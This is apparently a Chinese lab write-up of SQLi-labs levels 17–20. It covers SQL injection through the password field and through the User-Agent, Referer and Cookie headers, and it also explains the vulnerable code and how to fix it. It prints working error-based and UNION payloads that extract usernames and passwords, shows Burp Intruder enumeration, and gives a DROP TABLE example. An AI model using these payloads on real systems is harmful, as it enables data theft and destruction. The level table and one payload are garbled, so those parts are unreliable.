当前位置: 首页 > news >正文

基于HTTP头部字段的SQL注入:SQLi-labs第17-20关

前置知识:HTTP头部介绍

HTTP(超文本传输协议)头部(Headers)是客户端和服务器在通信时传递的元数据,用于控制请求和响应的行为、传递附加信息或定义内容类型等。它们分为请求头(Request Headers)、响应头(Response Headers)和通用头(General Headers)。以下是常见 HTTP 头部及其作用的分类介绍:

一、通用头(General Headers)

适用于请求和响应的通用信息:

  1. Cache-Control
    控制缓存机制,如 max-age=3600(缓存有效期)、no-cache(需验证缓存)等。
  2. Connection
    管理连接行为,如 keep-alive(保持连接)或 close(关闭连接)。
  3. Date
    消息生成的日期和时间,例如 Date: Wed, 21 Oct 2023 07:28:00 GMT。
  4. Transfer-Encoding
    指定传输编码方式,如 chunked(分块传输)。

二、请求头(Request Headers)

客户端发送请求时携带的头部:

  1. Host
    目标服务器的域名和端口(必需字段),例如 Host: example.com:8080。
  2. User-Agent
    客户端标识(如浏览器类型、操作系统),例如 User-Agent: Mozilla/5.0 (Windows NT 10.0)。
  3. Accept
    声明客户端可接收的内容类型,如 Accept: text/html, application/json。
  4. Authorization
    身份验证凭证,例如 Bearer <token> 或 Basic <credentials>。
  5. Cookie
    发送服务器设置的 Cookie,例如 Cookie: sessionId=abc123。
  6. Content-Type
    请求体的数据类型(如 application/json、multipart/form-data)。
  7. Referer
    当前请求的来源页面 URL。
  8. Accept-Encoding
    支持的压缩算法(如 gzip、deflate)。

三、响应头(Response Headers)

服务器返回响应时携带的头部:

  1. Server
    服务器软件信息,例如 Server: nginx/1.18.0。
  2. Content-Type
    响应体的数据类型(如 text/html; charset=utf-8)。
  3. Content-Length
    响应体的字节长度。
  4. Set-Cookie
    向客户端设置 Cookie,例如 Set-Cookie: sessionId=abc123; Path=/; Secure。
  5. Location
    重定向目标 URL(状态码为 3xx 时使用)。
  6. Cache-Control
    控制客户端缓存,如 public, max-age=3600。
  7. ETag
    资源版本标识符,用于缓存验证。
  8. Access-Control-Allow-Origin
    允许跨域请求的源(CORS),如 * 或 Example Domain。

四、安全相关头部

  1. Strict-Transport-Security (HSTS)
    强制使用 HTTPS,例如 max-age=31536000。
  2. Content-Security-Policy (CSP)
    控制资源加载策略,防止 XSS 攻击。
  3. X-Content-Type-Options
    阻止 MIME 类型嗅探,设为 nosniff。
  4. X-Frame-Options
    防止点击劫持,如 DENY 或 SAMEORIGIN。
  5. X-XSS-Protection
    启用浏览器 XSS 过滤(已逐渐被 CSP 取代)。

五、其他常用头部

  • Accept-Language:客户端支持的语言(如 en-US, zh-CN)。
  • Range 和 Content-Range:断点续传或分块下载。
  • Upgrade:协议升级(如从 HTTP 升级到 WebSocket)。

六、工具与调试

  • 使用浏览器开发者工具(按 F12)的 Network 标签查看请求/响应头。
  • 命令行工具如 curl -v 可显示详细头部信息。

关卡

SQL 注入类型

说明

17

关键字过滤绕过

过滤 SELECT、UNION、FROM,考察大小写混淆、编码绕过

18

关键字过滤绕过

过滤 space(空格),需用 /**/、%0a、() 等方式绕过

19

关键字过滤绕过

过滤 UNION,需用 U/**/nion、UnIoN 绕过

20

关键字过滤绕过

过滤 SELECT,可用 se/**/lect 或 extractvalue()、updatexml() 绕过

http://192.168.1.101/sqli-labs/Less-17/

1,是一个更改用户密码功能的页面

构造语句希望使网站回显报错信息

可以看到 admin"说明在对密码的处理过程中闭合方式是 双引号""

2,接下来利用盲注进行注入。这里首先爆出数据库名。

uname=admin&passwd=1'and extractvalue(1,concat(0x7e,(select database()),0x7e))#&submit=Submit

爆出数据库名为security,然后再爆数据库下数据表名

uname=admin&passwd=' OR updatexml(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security')),2)#&submit=Submit

爆出数据表名,然后再爆users数据表下字段名

'or updatexml(1,concat("!",(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")),2)#

最后再爆出用户名和密码

uname=admin&passwd=uname=admin&passwd=' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1))#submit=submit#&submit=Submit

  • OR:
    • 这可能是用于绕过身份验证的 OR 1=1 逻辑注入方式,使得 SQL 语句始终返回 true。
  • updatexml(1, concat('!', (...)), 1):
    • updatexml() 是 MySQL 中的 XML 处理函数,通常用于修改 XML 文档的节点值。
    • 但如果它的参数是错误的,它会返回错误信息,而这个错误信息可能包含攻击者注入的数据,从而实现信息泄露。
  • concat('!', (...)):
    • concat() 用于拼接字符串,这里是为了确保 updatexml 触发错误信息。
  • (SELECT concat_ws(':', username, password) FROM (SELECT username, password FROM users) text LIMIT 0,1):
    • SELECT username, password FROM users:从 users 表中获取 username 和 password。
    • concat_ws(':', username, password):用 : 连接 username 和 password,使结果变成 user1:password1 这样的格式。
    • LIMIT 0,1:仅取第一条记录,防止返回多个值导致 SQL 语法错误。
  • #:
    • # 是 MySQL 的注释符号,后面的 submit=submit 会被忽略,防止 SQL 语句出错。

通过limit 0,1的变化来实现对一个个用户名密码的筛出

然后可以通过burpsuite的Intruder模块进行用户名和密码的成对爆出

有效载荷给limit中的0设置为变量(LIMIT [偏移量], [行数]),字典选择从0开始的自然数

User-Agent头的SQL注入是一种利用HTTP请求头中的User-Agent字段进行攻击的手段,其核心原理与常规SQL注入相同:通过构造恶意输入,使后端数据库执行非预期的SQL代码。以下是详细分析及防御建议:

攻击原理

  1. 漏洞成因
    当应用程序未对User-Agent头进行过滤或转义,直接将其拼接到SQL查询语句中时,攻击者可构造包含SQL代码的User-Agent值,篡改原始查询逻辑。

    示例
    假设服务端记录日志的SQL语句为:
    INSERT INTO access_log (user_agent, ip) VALUES ('$user_agent', '$ip');
    攻击者将User-Agent设置为:
    '; DROP TABLE access_log; --
    最终执行的SQL变为:
    INSERT INTO access_log (user_agent, ip) VALUES (''; DROP TABLE access_log;
    --', '127.0.0.1');
    这将导致access_log表被删除。
  2. 利用场景
  • 数据泄露(通过UNION注入提取敏感数据)。
  • 数据库破坏(执行DROP、DELETE等操作)。
  • 权限提升(利用数据库特性执行系统命令)。

检测方法

  1. 手工测试
  • 在User-Agent中插入特殊字符(如'"\),观察是否返回数据库错误(如MySQL、PostgreSQL的报错信息)。
  • 尝试布尔型注入:
    ' OR 1=1 --
    观察是否影响查询结果(如日志记录条件被绕过)。
  1. 自动化工具
    使用SQLMap等工具检测,指定
    --user-agent参数:
    sqlmap -u
    Example Domain --headers "User-Agent: *" --level 3

http://192.168.99.74/sqli-labs/Less-18/

POST-Header Injection-Uagent field-Error based (基于错误的用户代理,头部 POST 注入)

1,源代码对uname和passwd进行了 check_input()函数的处理,所以我们在输入uname和passwd上进行注入是不行的。而输入正确的admin/admin进行登录,网站就会回显IP Address和User Agent,那么就可以尝试进行post型http头部注入

2,推断 uname 和 passwd 字段都进行了强效的过滤,我们输入正确的uname和passwd之后再次注入。此时发现当注入单引号闭合时,网页返回报错信息。

User-Agent: '

3,通过错误信息或特定函数判断数据库名
 ' OR updatexml(1,concat("!",database()),2) OR '

然后再爆出所有的数据表名

' OR updatexml(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security')),2) OR '

然后再爆出所有的数据表的字段名

User-Agent: ' OR updatexml(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users')),2) OR '

最后爆出第一行的用户名和密码

User-Agent: ' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1)) OR '

抓包发送到Intruder模块,将LIMIT的偏移量设置为变量进行爆破

最后就能够爆出每一个用户名和密码

sql注入漏洞成因

  1. 未过滤的 User-Agent 输入
  • 代码直接使用 $_SERVER['HTTP_USER_AGENT'] 获取客户端 User-Agent 值,未经过任何过滤或转义。
  • 在插入数据库的SQL语句中,User-Agent 被直接拼接:
    $insert = "INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
  • $uagent 和 $IP 未经过 check_input 处理,直接嵌入SQL语句。
  1. 错误信息回显
  • 代码中调用 print_r(mysqli_error($con1)),将数据库错误信息输出到页面,为攻击者提供报错注入的条件。
  1. 防御机制缺陷
  • check_input 函数仅处理了 uname 和 passwd,未覆盖 User-Agent 和 IP
  • 对 User-Agent 的信任假设错误,未采用参数化查询。

攻击利用示例

  1. 构造恶意 User-Agent
    设置 User-Agent 为以下值触发报错注入:
    ' OR updatexml(1, concat(0x7e, (SELECT database())), 1)
    --
  • 最终SQL语句
    INSERT INTO uagents (uagent, ip_address, username) VALUES (
      '' OR updatexml(1, concat(0x7e, (SELECT database())), 1)
    -- ',
      '攻击者IP',
      $uname
    )
  1. 结果:数据库执行 updatexml 触发错误,回显当前数据库名(如 ~security)。
  2. 提取敏感数据
    进一步利用可获取表名、字段名及数据:
    ' OR updatexml(1, concat(0x7e, (SELECT concat(username,':',password) FROM users LIMIT 0,1)), 1)
    --

修复建议

  1. 参数化查询
    使用预处理语句替代字符串拼接,确保所有输入均参数化:
    $stmt = $con1->prepare("INSERT INTO security.uagents (uagent, ip_address, username) VALUES (?, ?, ?)");
    $stmt->bind_param("sss", $uagent, $IP, $uname);
    $stmt->execute();
  2. 输入过滤与转义
    对所有输入(包括HTTP头)进行过滤:
    $uagent = mysqli_real_escape_string($con1, $_SERVER['HTTP_USER_AGENT']);
    $IP = mysqli_real_escape_string($con1, $_SERVER['REMOTE_ADDR']);
  3. 禁用详细错误回显
    生产环境中关闭错误信息输出:
    mysqli_report(MYSQLI_REPORT_OFF);
    // 关闭MySQLi错误显示
    error_reporting(0);               // 关闭PHP错误报告
  4. 最小化数据库权限
    确保数据库账户仅拥有必要权限(如禁止执行SELECTUPDATE等敏感操作)。

Less-19 http://127.0.0.1/sqli-labs/Less-19/

抓一个请求包观察请求报文结构

根据请求特征和题目提示,推断为referer型sql注入,使用单引号测试一下

使用两个单引号就不报错了,说明前面后面的两个单引号分别完成了一个闭合,我们的sql攻击语句写在引号之间就行

 ' OR updatexml(1,concat("!",database()),2) OR '

然后再爆出所有的数据表名

' OR updatexml(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security')),2) OR '

然后再爆出所有的数据表的字段名

' OR updatexml(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users')),2) OR '

最后爆出第一行的用户名和密码

' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1)) OR '

结合burpsuite的Intruder模块爆破出所有账户密码的操作同Less-19

 Referer 头 SQL 注入漏洞的详细分析

漏洞成因

  1. 未过滤的 Referer 头输入
  • 代码直接使用 $_SERVER['HTTP_REFERER'] 获取请求的 Referer 值,未经过任何过滤或转义。
  • 在插入数据库的 SQL 语句中,Referer 值被直接拼接:
    $insert = "INSERT INTO security.referers (referer, ip_address) VALUES ('$uagent', '$IP')";
  • $uagent(即 Referer 值)未调用 check_input 函数处理,直接嵌入 SQL 语句。
  1. 错误信息回显
  • 代码中调用 print_r(mysqli_error($con1)),将数据库错误信息输出到页面,为攻击者提供 报错注入 的条件。
  1. 防御机制缺失
  • check_input 函数仅处理了 uname 和 passwd 参数,未覆盖 Referer 头。
  • 未使用参数化查询或预处理语句。

攻击利用步骤

Step 1:验证注入点

  1. 构造恶意 Referer 头
    使用工具(如 Burp Suite)修改 HTTP 请求的 Referer 头为:
    ' OR sleep(5)
    --
    目标:验证是否存在注入漏洞。若页面响应延迟 5 秒,则确认漏洞存在。
  2. 触发报错注入
    修改 Referer 头为:
    ' AND updatexml(1, concat(0x7e, version()), 1)
    --
    预期结果:页面返回数据库版本错误信息(如 XPATH syntax error: '~8.0.30')。

Step 2:提取敏感数据

  1. 获取当前数据库名
    ' AND updatexml(1, concat(0x7e, database()), 1) --
    结果:报错信息中显示数据库名(如 ~security)。
  2. 列出所有数据库名
    ' AND updatexml(1, concat(0x7e, (SELECT schema_name FROM information_schema.schemata LIMIT 0,1)), 1) --
    操作:调整 LIMIT 参数遍历所有数据库。
  3. 获取表名
    ' AND updatexml(1, concat(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1)), 1) --
    结果:返回目标数据库的第一个表名(如 ~users)。
  4. 提取字段名
    ' AND updatexml(1, concat(0x7e, (SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1)), 1) --
    结果:返回字段名(如 ~username)。
  5. 读取数据
    ' AND updatexml(1, concat(0x7e, (SELECT concat(username, ':', password) FROM users LIMIT 0,1)), 1) --
    结果:返回用户名和密码(如 ~admin:5f4dcc3b5aa765d61d83)。

漏洞代码段

// 直接使用未过滤的 Referer 头
$uagent = $_SERVER['HTTP_REFERER'];
// 直接拼接 SQL 语句
$insert = "INSERT INTO security.referers (referer, ip_address) VALUES ('$uagent', '$IP')";

Less-20 http://127.0.0.1/sqli-labs/Less-20/

1,先抓一个请求包看看(注意先使用admin/admin登录成功,然后刷新发送一个GET请求包)

2,推测是cookie型sql注入,使用单引号测试看看

存在sql注入,然后判断数据表存在多少列

' #

' order by 3#

' order by 4#

所以推断数据表存在3列,接下来爆出数据库名

' union select 1,2,database()#

' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'#

' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#

' union select 1,2, group_concat(concat_ws(0x7e,username,password)) from security.users #

成功爆出数据库所有的账户和密码

基于Cookie字段的SQL注入漏洞

漏洞成因

  1. 未过滤的 Cookie 输入
  • 代码直接从 $_COOKIE['uname'] 获取用户输入,未经过任何过滤或转义:
    $cookee = $_COOKIE['uname'];
    $sql = "SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
  1. 攻击者可通过篡改 Cookie 中的 uname 值注入恶意 SQL 代码。
  1. 信任客户端输入
  • 假设 Cookie 中的 uname 是安全的,未进行二次验证或过滤(仅在首次登录时调用 check_input 处理 POST 参数,后续请求直接信任 Cookie)。
  1. 错误信息回显
  • 代码中调用 print_r(mysqli_error($con1)) 输出数据库错误,为攻击者提供 报错注入 的利用条件。

攻击示例

  1. 篡改 Cookie 触发注入
    通过工具(如 Burp Suite)修改 uname Cookie 值为:
    ' OR 1=1 --
    最终 SQL 语句
    SELECT * FROM users WHERE username='' OR 1=1 -- ' LIMIT 0,1
  • 绕过身份验证,返回第一个用户数据。
  1. 报错注入提取数据
    设置 uname 为:
    ' AND updatexml(1, concat(0x7e, (SELECT database()), 1) --
    结果:触发错误并返回数据库名(如 ~security)。

漏洞代码段

// 直接读取未过滤的 Cookie
$cookee = $_COOKIE['uname'];
// 直接拼接 SQL 语句
$sql = "SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";

修复建议

  1. 参数化查询
    使用预处理语句替代字符串拼接:
    $stmt = $con1->prepare("SELECT * FROM users WHERE username=? LIMIT 0,1");
    $stmt->bind_param("s", $cookee);
    $stmt->execute();
  2. 过滤所有输入
    对 Cookie 值进行转义和验证:
    $cookee = mysqli_real_escape_string($con1, $_COOKIE['uname']);
  3. 禁用详细错误回显
    生产环境中关闭错误信息输出:
    mysqli_report(MYSQLI_REPORT_OFF);
    error_reporting(0);
  4. 签名 Cookie
    对 Cookie 值进行加密签名,防止篡改:
    $secret_key = "YOUR_SECRET_KEY";
    $cookee = hash_hmac('sha256', $_COOKIE['uname'], $secret_key);

总结

漏洞核心在于直接信任并拼接 Cookie 值到 SQL 语句中,且未正确处理错误信息。攻击者可通过篡改 Cookie 实施注入攻击。修复需强制使用 参数化查询 并对所有输入(包括 Cookie)进行严格过滤。

相关文章:

基于HTTP头部字段的SQL注入:SQLi-labs第17-20关

前置知识&#xff1a;HTTP头部介绍 HTTP&#xff08;超文本传输协议&#xff09;头部&#xff08;Headers&#xff09;是客户端和服务器在通信时传递的元数据&#xff0c;用于控制请求和响应的行为、传递附加信息或定义内容类型等。它们分为请求头&#xff08;Request Headers&…...

Megatron系列——流水线并行

内容总结自&#xff1a;bilibili zomi 视频大模型流水线并行 注&#xff1a;这里PipeDream 1F1B对应时PP&#xff0c;Interleaved 1F1B对应的是VPP 1、朴素流水线并行 备注&#xff1a; &#xff08;1&#xff09;红色三个圈都为空泡时间&#xff0c;GPU没有做任何计算 &am…...

Android HttpAPI通信问题(待解决)

使用ClearTextTraffic是Android中一项重要的网络设置&#xff0c;它控制了应用程序是否允许在不使用HTTPS加密的情况下访问网络。在默认情况下&#xff0c;usescleartexttraffic的值为true&#xff0c;这意味着应用程序可以通过普通的HTTP协议进行网络通信。然而&#xff0c;这…...

WebFlux vs WebMVC vs Servlet 对比

WebFlux vs WebMVC vs Servlet 技术对比 WebFlux、WebMVC 和 Servlet 是 Java Web 开发中三种不同的技术架构&#xff0c;它们在编程模型、并发模型和适用场景上有显著区别。以下是它们的核心对比&#xff1a; 核心区别总览 特性ServletSpring WebMVCSpring WebFlux编程模型…...

Spring MVC参数传递

本内容采用最新SpringBoot3框架版本,视频观看地址:B站视频播放 1. Postman基础 Postman是一个接口测试工具,Postman相当于一个客户端,可以模拟用户发起的各类HTTP请求,将请求数据发送至服务端,获取对应的响应结果。 2. Spring MVC相关注解 3. Spring MVC参数传递 Spri…...

Spring MVC 和 Spring Boot 是如何访问静态资源的?

Spring MVC 和 Spring Boot 在配置静态资源访问方面有所不同&#xff0c;Spring Boot 提供了更便捷的自动配置。 一、Spring Boot 如何配置静态资源访问 (推荐方式) Spring Boot 遵循“约定优于配置”的原则&#xff0c;对静态资源的访问提供了非常方便的自动配置。 默认静态…...

如何应对网站被爬虫和采集?综合防护策略与实用方案

在互联网时代&#xff0c;网站内容被恶意爬虫或采集工具窃取已成为常见问题。这不仅侵犯原创权益&#xff0c;还可能影响网站性能和SEO排名。以下是结合技术、策略与法律的综合解决方案&#xff0c;帮助网站构建有效防护体系。 一、技术防护&#xff1a;阻断爬虫的“技术防线”…...

MySQL 分页查询优化

目录 前言1. LIMIT offset, count 的性能陷阱&#xff1a;为什么它慢&#xff1f;&#x1f629;2. 优化策略一&#xff1a;基于排序字段的“跳跃式”查询 (Seek Method) &#x1f680;3. 优化策略二&#xff1a;利用子查询优化 OFFSET 扫描 (ID Subquery)4. 基础优化&#xff1…...

我用Deepseek + 亮数据爬虫神器 1小时做出輿情分析器

我用Deepseek 亮数据爬虫神器 1小时做出輿情分析器 一、前言二、Web Scraper API 实战&#xff08;1&#xff09;选择对应的URL&#xff08;2&#xff09;点击进入对应url界面&#xff08;3&#xff09;API结果实例和爬取结果展示&#xff08;4&#xff09;用户直接使用post请…...

langchain4j中使用milvus向量数据库做RAG增加索引

安装milvus向量数据库 官方网址 https://milvus.io/zh 使用docker安装milvus mkdir -p /data/docker/milvus cd /data/docker/milvus wget https://raw.githubusercontent.com/milvus-io/milvus/master/scripts/standalone_embed.sh#在docker中启动milvus sh standalone_emb…...

【开源工具】深度解析:基于PyQt6的Windows时间校时同步工具开发全攻略

&#x1f552; 【开源工具】深度解析&#xff1a;基于PyQt6的Windows时间校时同步工具开发全攻略 &#x1f308; 个人主页&#xff1a;创客白泽 - CSDN博客 &#x1f525; 系列专栏&#xff1a;&#x1f40d;《Python开源项目实战》 &#x1f4a1; 热爱不止于代码&#xff0c;热…...

开源 RPA 工具深度解析与官网指引

开源 RPA 工具深度解析与官网指引 摘要 &#xff1a;本文深入解析了多款开源 RPA 工具&#xff0c;涵盖 TagUI、Aibote、Taskt 等&#xff0c;分别介绍了它们的核心功能&#xff0c;并提供了各工具的官网链接&#xff0c;方便读者进一步了解与使用&#xff0c;同时给出了基于不…...

【免杀】C2免杀技术(一)VS设置

一、概述 编译器生成的二进制文件特征&#xff08;代码结构、元数据、指纹&#xff09;可能被杀软的静态或动态检测规则匹配。Visual Studio 的构建设置&#xff08;特别是运行库、编译器优化、链接方式等&#xff09;会直接影响最终生成的二进制文件的结构、行为特征和依赖关…...

OpenHarmony 开源鸿蒙南向开发——linux下使用make交叉编译第三方库——nettle库

准备工作 请依照这篇文章搭建环境 OpenHarmony 开源鸿蒙南向开发——linux下使用make交叉编译第三方库——环境配置_openharmony交叉编译-CSDN博客 编译依赖 相关依赖有 gmp-6.3.0 请依照这篇文章编译 OpenHarmony 开源鸿蒙南向开发——linux下使用make交叉编译第三方库…...

Kotlin与Ktor构建Android后端API

以下是一个使用 Kotlin 和 Ktor 构建 Android 后端 API 的详细示例,包含常见功能实现: 1. 项目搭建 (build.gradle.kts) plugins {applicationkotlin("jvm") version "1.9.0"id("io.ktor.plugin") version "2.3.4"id("org.je…...

网页jupyter如何显示jpipvenv虚拟环境

今天使用社区版pycharm编辑.ipynb文件时&#xff0c;发现pycharm编辑.ipynb文件需要订阅。但是发现pipvenv虚拟环境解释器在jupyter中只有一个Python3:ipykernel版本&#xff0c;没有venv和conda的虚拟环境。因此在网上搜寻资料&#xff0c;作为备份记录。 以windows为例 假设目…...

学习黑客5 分钟深入浅出理解Windows System Configuration

5 分钟深入浅出理解Windows System Configuration ⚙️ 大家好&#xff01;今天我们将探索Windows系统配置——这是Windows操作系统的核心控制中心&#xff0c;决定了系统如何启动、运行和管理各种功能。无论你是计算机初学者&#xff0c;还是在TryHackMe等平台上学习网络安全…...

Spyglass:跨时钟域同步方案

相关阅读 Spyglasshttps://blog.csdn.net/weixin_45791458/category_12828934.html?spm1001.2014.3001.5482 Spyglass可以用于检测设计中的跨时钟域相关问题&#xff0c;确保电路中添加了适当的同步机制&#xff0c;以避免此类问题的发生&#xff0c;例如&#xff1a; 与亚稳…...

Ubuntu虚拟机文件系统扩容

1. 删除所有的虚拟机快照。 2. 选择扩展 将最大大小调整为你所需的大小 3. 进入虚拟机&#xff0c;输入命令&#xff1a; sudo apt install gparted sudo gparted 4. 选择磁盘&#xff0c;右键根分区&#xff0c;选择Resize/Move&#xff0c;调整大小。 5. 调整所需分区大…...

Window、CentOs、Ubuntu 安装 docker

Window 版本 网址&#xff1a;https://www.docker.com/ 下载 下载完成后&#xff0c;双击安装就可以了 Centos 版本 卸载 Docker &#xff08;可选&#xff09; yum remove docker \docker-client \docker-client-latest \docker-common \docker-latest \docker-latest-log…...

mac M2下虚拟机CentOS 8 安装上安装 Berkeley DB

问题&#xff1a;直接在centos8 yum安装db4-devel失败&#xff0c;只能手工安装 进入home目录&#xff0c;下载 wget http://download.oracle.com/berkeley-db/db-4.6.21.tar.gz 解压 tar -zxvf db-4.6.21.tar.gz 切到cd db-4.6.21的build_unix下 cd db-4.6.21 cd build_…...

Python文字转语音TTS库示例(edge-tts)

1. 安装 pip install edge-tts2. 命令行使用 # 生成语音文件 # -f&#xff1a;要转换语音的文本文件&#xff0c;例如一个txt文件 # --text&#xff1a;指明要保存的mp3的文本 # --write-media&#xff1a;指明保存的mp3文件路径 # --write-subtitles&#xff1a;指定输出字幕…...

lua入门语法,包含安装,注释,变量,循环等

文章目录 LUA入门什么是lualua安装入门lua的使用方式注释定义变量lua中的数据类型流程控制ifelsewhile语法&#xff1a;for 函数表模块 LUA入门 什么是lua 一种脚本语言&#xff0c;设计的目的是为了能够在一些应用程序提供灵活的扩展功能和定制功能。 lua安装 有linux版本…...

【文心智能体】使用文心一言来给智能体设计一段稳定调用工作流的提示词

&#x1f339;欢迎来到《小5讲堂》&#x1f339; &#x1f339;这是《文心智能体》系列文章&#xff0c;每篇文章将以博主理解的角度展开讲解。&#x1f339; &#x1f339;温馨提示&#xff1a;博主能力有限&#xff0c;理解水平有限&#xff0c;若有不对之处望指正&#xff0…...

TWASandGWAS中GBS filtering and GWAS(1)

F:\文章代码\TWASandGWAS\GBS filtering and GWAS README.TXT 请检查幻灯片“Vitamaize_update_Gorelab_Ames_GBS_filtering_20191122.pptx”中关于阿姆斯&#xff08;Ames&#xff09;ID处理流程的详细信息。 文件夹“Ames_ID_processing”包含了用于处理阿姆斯ID的文件和R…...

Linux电源管理(五),发热管理(thermal),温度控制

更多linux系统电源管理相关的内容请看&#xff1a;Linux电源管理、功耗管理 和 发热管理 (CPUFreq、CPUIdle、RPM、thermal、睡眠 和 唤醒)-CSDN博客 本文主要基于linux-5.4.18版本的内核代码进行分析。 1 简介 1.1 硬件知识 CPU等芯片在工作时会产生大量热量&#xff0c;…...

【C++11】异常

前言 上文我们学习到了C11中类的新功能【C11】类的新功能-CSDN博客 本文我们来学习C下一个新语法&#xff1a;异常 1.异常的概念 异常的处理机制允许程序在运行时就出现的问题进行相应的处理。异常可以使得我们将问题的发现和问题的解决分开&#xff0c;程序的一部分负…...

C#WPF里不能出现滚动条的原因

使用下面这段代码,就不能出现滚动条: <mdix:DrawerHost.LeftDrawerContent><Grid Width="260" Background="{StaticResource MaterialDesign.Brush.Primary}"><Grid.RowDefinitions><RowDefinition Height="auto"/>&l…...

安装Hadoop并运行WordCount程序

一、安装 Java Hadoop 依赖 Java&#xff0c;首先需要安装 Java 开发工具包&#xff08;JDK&#xff09;。以 Ubuntu 为例&#xff1a; bash sudo apt update sudo apt install openjdk-8-jdk安装后&#xff0c;设置环境变量&#xff1a; bash echo export JAVA_HOME/usr/li…...

从零搭建AI工作站:Gemma3大模型本地部署+WebUI配置全套方案

文章目录 前言1. 安装Ollama2.Gemma3模型安装与运行3. 安装Open WebUI图形化界面3.1 Open WebUI安装运行3.2 添加模型3.3 多模态测试 4. 安装内网穿透工具5. 配置固定公网地址总结 前言 如今各家的AI大模型厮杀得如火如荼&#xff0c;每天都有新的突破。今天我要给大家安利一款…...

《数字人技术实现路径深度剖析与研究报告》

《数字人技术实现路径深度剖析与研究报告》 一、引言 1.1 研究背景与意义 近年来,随着人工智能、虚拟现实、计算机图形学等技术的飞速发展,数字人技术应运而生并取得了显著进展。数字人作为一种新兴的技术应用,正逐步渗透到各个领域,成为推动行业创新发展的重要力量。从最…...

《棒球百科》MLB棒球公益课·棒球1号位

MLB&#xff08;美国职业棒球大联盟&#xff09;的棒球公益课通过推广棒球运动、普及体育教育&#xff0c;对全球多个地区产生了多层次的影响&#xff1a; 1. 体育文化推广 非传统棒球地区的普及&#xff1a;在棒球基础较弱的地区&#xff08;如中国、欧洲部分国家&#xff09…...

Android 中 Handler (创建时)内存泄漏问题及解决方案

一、Handler 内存泄漏核心原理 真题 1&#xff1a;分析 Handler 内存泄漏场景 题目描述&#xff1a; 在 Activity 中使用非静态内部类 Handler 发送延迟消息&#xff0c;旋转屏幕后 Activity 无法释放&#xff0c;分析原因并给出解决方案。 内存泄漏链路分析&#xff1a; 引…...

linux-驱动开发之设备树详解(RK平台为例)

前言 Linux3.x以后的版本才引入了设备树&#xff0c;设备树用于描述一个硬件平台的板级细节。 在早些的linux内核&#xff0c;这些“硬件平台的板级细节”保存在linux内核目录“/arch”&#xff0c; 以ARM为例“硬件平台的板级细节”保存在“/arch/arm/plat-xxx”和“/arch/ar…...

【现代深度学习技术】注意力机制05:多头注意力

【作者主页】Francek Chen 【专栏介绍】 ⌈ ⌈ ⌈PyTorch深度学习 ⌋ ⌋ ⌋ 深度学习 (DL, Deep Learning) 特指基于深层神经网络模型和方法的机器学习。它是在统计机器学习、人工神经网络等算法模型基础上&#xff0c;结合当代大数据和大算力的发展而发展出来的。深度学习最重…...

RDD的五大特征

1. 由多个分区&#xff08;Partitions&#xff09;组成 特性&#xff1a;RDD 是分区的集合&#xff0c;每个分区在集群的不同节点上存储。分区是数据并行处理的基本单位。作用&#xff1a;分区使 RDD 能够在集群中并行计算&#xff0c;提高处理效率。 2. 有一个计算每个分区的…...

键盘RGB矩阵与LED指示灯(理论部分)

键盘RGB矩阵与LED指示灯(理论部分) 一、LED指示灯基础 在键盘世界里,LED指示灯不仅仅是装饰,它们还能提供丰富的状态信息。QMK固件提供了读取HID规范中定义的5种LED状态的方法: Num Lock(数字锁定)Caps Lock(大写锁定)Scroll Lock(滚动锁定)Compose(组合键)Desp…...

HTTP方法和状态码(Status Code)

HTTP方法 HTTP方法&#xff08;也称HTTP动词&#xff09;主要用于定义对资源的操作类型。根据HTTP/1.1规范&#xff08;RFC 7231&#xff09;以及后续扩展&#xff0c;常用的HTTP方法有以下几种&#xff1a; GET&#xff1a;请求获取指定资源的表示形式。POST&#xff1a;向指…...

【sqlmap需要掌握的参数】

sqlmap需要掌握的参数 目标-u 指定URL 用于get请求-l 用于post请求- r 用于post请求指定数据库/表/字段 -D/-T/-C 脱库获得数据库获取用户获取表获取列获取字段获取字段类型获取值 其他 目标 -u 指定URL 用于get请求 -u URL, --urlURL 目标URL 只使用于get命令中 -l 用于pos…...

用 AltSnap 解锁 Windows 窗口管理的“魔法”

你有没有遇到过这样的场景&#xff1a;电脑屏幕上堆满了窗口&#xff0c;想快速调整它们的大小和位置&#xff0c;却只能拖来拖去&#xff0c;费时又费力&#xff1f;或者你是个多任务狂魔&#xff0c;喜欢一边写代码、一边看文档、一边刷视频&#xff0c;却发现 Windows 自带的…...

高并发内存池(三):TLS无锁访问以及Central Cache结构设计

目录 前言&#xff1a; 一&#xff0c;thread cache线程局部存储的实现 问题引入 概念说明 基本使用 thread cache TLS的实现 二&#xff0c;Central Cache整体的结构框架 大致结构 span结构 span结构的实现 三&#xff0c;Central Cache大致结构的实现 单例模式 thr…...

数据治理域——数据治理体系建设

摘要 本文主要介绍了数据治理系统的建设。数据治理对企业至关重要&#xff0c;其动因包括应对数据爆炸增长、提升内部管理效率、支撑复杂业务需求、加强风险防控与合规管理以及实现数字化转型战略。其核心目的是提升数据质量、统一数据标准、优化数据资产管理、支撑业务发展和…...

数据库实验报告 SQL SERVER 2008的基本操作 1

